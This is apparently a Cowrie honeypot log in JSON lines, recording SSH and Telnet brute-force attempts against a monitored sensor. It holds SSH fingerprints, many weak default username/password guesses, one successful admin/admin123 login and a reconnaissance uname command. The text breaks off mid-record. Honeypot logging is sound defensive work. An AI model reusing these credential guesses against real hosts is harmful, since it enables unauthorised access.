{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:45.251745Z","src_ip":"45.153.34.112","session":"a5f8e5637858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:45.640436Z","src_ip":"45.153.34.112","session":"a5f8e5637858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:46.748246Z","src_ip":"45.153.34.112","session":"a5f8e5637858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.715617656707764,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:48.119314Z","src_ip":"192.119.13.58","session":"f137cb5dab71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60592,"dst_ip":"10.17.0.5","dst_port":22,"session":"059b0ac67334","protocol":"ssh","message":"New connection: 45.153.34.112:60592 (10.17.0.5:22) [session: 059b0ac67334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:48.775857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:48.780817Z","src_ip":"45.153.34.112","session":"059b0ac67334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:48.863457Z","src_ip":"45.153.34.112","session":"059b0ac67334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:49.113657Z","src_ip":"45.153.34.112","session":"059b0ac67334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.082040786743164,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:49.606922Z","src_ip":"192.119.13.58","session":"9caf5ee42257","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:50.201896Z","src_ip":"45.153.34.112","session":"059b0ac67334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51478,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fb439bbad4f","protocol":"ssh","message":"New connection: 45.153.34.112:51478 (10.17.0.5:22) [session: 4fb439bbad4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:52.309478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:52.317646Z","src_ip":"45.153.34.112","session":"4fb439bbad4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:52.400415Z","src_ip":"45.153.34.112","session":"4fb439bbad4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:52.648962Z","src_ip":"45.153.34.112","session":"4fb439bbad4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:53.859407Z","src_ip":"45.153.34.112","session":"4fb439bbad4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51488,"dst_ip":"10.17.0.5","dst_port":22,"session":"84536efed29e","protocol":"ssh","message":"New connection: 45.153.34.112:51488 (10.17.0.5:22) [session: 84536efed29e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:55.739223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:55.744087Z","src_ip":"45.153.34.112","session":"84536efed29e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:55.826764Z","src_ip":"45.153.34.112","session":"84536efed29e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:56.074022Z","src_ip":"45.153.34.112","session":"84536efed29e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.98912811279297,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:56.775730Z","src_ip":"192.119.13.58","session":"eb6f75c06636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.83082413673401,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:56.832731Z","src_ip":"192.119.13.58","session":"fc40fa34735e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.74678349494934,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:57.065123Z","src_ip":"192.119.13.58","session":"d185240f7306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:57.158307Z","src_ip":"45.153.34.112","session":"84536efed29e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51490,"dst_ip":"10.17.0.5","dst_port":22,"session":"d89255433d1e","protocol":"ssh","message":"New connection: 45.153.34.112:51490 (10.17.0.5:22) [session: d89255433d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:59.252730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:59.257858Z","src_ip":"45.153.34.112","session":"d89255433d1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:59.340904Z","src_ip":"45.153.34.112","session":"d89255433d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:03:59.588590Z","src_ip":"45.153.34.112","session":"d89255433d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:00.675094Z","src_ip":"45.153.34.112","session":"d89255433d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38758,"dst_ip":"10.17.0.5","dst_port":23,"session":"103f1713a849","protocol":"telnet","message":"New connection: 192.119.13.58:38758 (10.17.0.5:23) [session: 103f1713a849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:01.295048Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49624,"dst_ip":"10.17.0.5","dst_port":22,"session":"01adc84d21a1","protocol":"ssh","message":"New connection: 45.153.34.112:49624 (10.17.0.5:22) [session: 01adc84d21a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:02.645045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:02.659004Z","src_ip":"45.153.34.112","session":"01adc84d21a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:02.742098Z","src_ip":"45.153.34.112","session":"01adc84d21a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"123456","message":"login attempt [david/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:02.990654Z","src_ip":"45.153.34.112","session":"01adc84d21a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:04.077379Z","src_ip":"45.153.34.112","session":"01adc84d21a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.228.183.120","src_port":61609,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3c1ba13343","protocol":"telnet","message":"New connection: 221.228.183.120:61609 (10.17.0.5:23) [session: fd3c1ba13343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:04.311249Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49634,"dst_ip":"10.17.0.5","dst_port":22,"session":"9411e3c9c062","protocol":"ssh","message":"New connection: 45.153.34.112:49634 (10.17.0.5:22) [session: 9411e3c9c062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.247838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.253478Z","src_ip":"45.153.34.112","session":"9411e3c9c062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.336252Z","src_ip":"45.153.34.112","session":"9411e3c9c062","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.585061Z","src_ip":"45.153.34.112","session":"9411e3c9c062","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.795279Z","src_ip":"45.153.34.112","session":"9411e3c9c062","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.798510Z","src_ip":"45.153.34.112","session":"9411e3c9c062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43316,"dst_ip":"159.203.135.109","dst_port":22,"session":"29e320d7ae03","protocol":"ssh","message":"New connection: 103.172.78.219:43316 (159.203.135.109:22) [session: 29e320d7ae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.852430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.857234Z","src_ip":"103.172.78.219","session":"29e320d7ae03","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.884604Z","src_ip":"45.153.34.112","session":"9411e3c9c062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:06.889878Z","src_ip":"45.153.34.112","session":"9411e3c9c062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.co